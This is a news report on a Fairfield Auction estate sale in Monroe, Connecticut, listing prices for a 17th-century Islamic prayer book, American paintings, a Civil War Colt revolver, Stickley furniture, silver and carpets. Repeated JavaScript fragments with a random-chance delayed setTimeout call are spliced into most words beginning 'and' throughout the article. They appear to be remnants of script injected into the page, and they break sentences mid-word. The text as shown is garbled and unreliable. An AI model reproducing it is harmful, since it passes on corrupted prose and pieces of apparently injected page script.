MONROE, CONN. — A pocket-size Seventeenth Century Islamic prayer book sold for $144,900 at Fairfield Auction on May 18. Found in a local estate, the manuscript featured calligraphy on both sides, elaborate margins andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and magnificent illuminations. The winning bidder traveled to Monroe from Istanbul for the sale andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and battled ten phone bidders andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an Internet bidder before winning the highly coveted lot.

As always, the auction gallery offered a selection of fine art culled from Fairfield County estates. A George Cope trompe l’oeil with a mallard hanging on a door sold above estimate at $12,650. A Henry Stull pastel of a race horse andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and jockey brought $3,680, a gem of a harbor scene by Everett Longley Warner doubled estimate at $2,530, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a moonlit adobe scene by Will Sparks earned $2,760. A Reginald Nickerson portrait of a schooner was a nice buy at $1,610, as was an original collage by Larry Rivers that sold at $2,990.

An interesting selection of Americana included an identified Civil War Colt model 1849 pocket revolver. The firearm was engraved “Lt E.E. Pierce, Co B 14th Regt. NYSM.” The Brooklyn 14th were involved in heavy fighting, including the first andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and second battles at Bull Run, Antietam, Fredericksburg, Chancelorsville andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Gettysburg. Several interested parties vied for the revolver before it finally sold at $6,900.

A complete Gustav Stickley oak dining room set found in the Fairfield bungalow of the original owner attracted excited bidding. The model 815 china cabinet brought $5,750, while the sideboard with strap hinges sold at $2,990 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the six heavy ladder back chairs earned $2,300. The dining table, with some damage, still yielded $1,380. All retained original finish.

Modern selections included a pair of Cindy Sherman photographs, “Male Artist/Female Artist,” which sold for $6,900. A Wharton Esherick stool also did well, selling at $4,830, while Pablo Picasso’s etching, “L’Abreuvoir,” brought $2,300.

A selection of estate jewelry was led by a diamond engagement ring with a 2.88-carat center stone. It sold for $14,950. A Rolex 18K gold presidential also performed well, bringing a total price of $7,475.

More than 40 lots of silver included a Reed & Barton sterling tea set in the Francis I pattern. Including the tray, the massive set weighed in at 383 troy ounces andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and after considerable bidding sold for $16,100. A large flatware service in the same pattern sold for $6,900.

A selection of antique carpets was led by a late Nineteenth Century room-size Bidjar, which sold for $4,830, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a dazzling Shirvan of similar vintage that went home with a happy buyer on the floor at $3,910.

Other items of interest included a Swiss music box with bells that sold for $2,990 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a J.L. Mott cast iron garden bench that went to a new home at $1,380. A Tete Jumeau doll andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Jules Cheret framed poster each brought $805, while a Japanese katana sold for $1,725.

All prices reported include the buyer’s premium. The next sale will take place Sunday, July 20. For information, 203-880-5200 or www.fairfieldauction.com.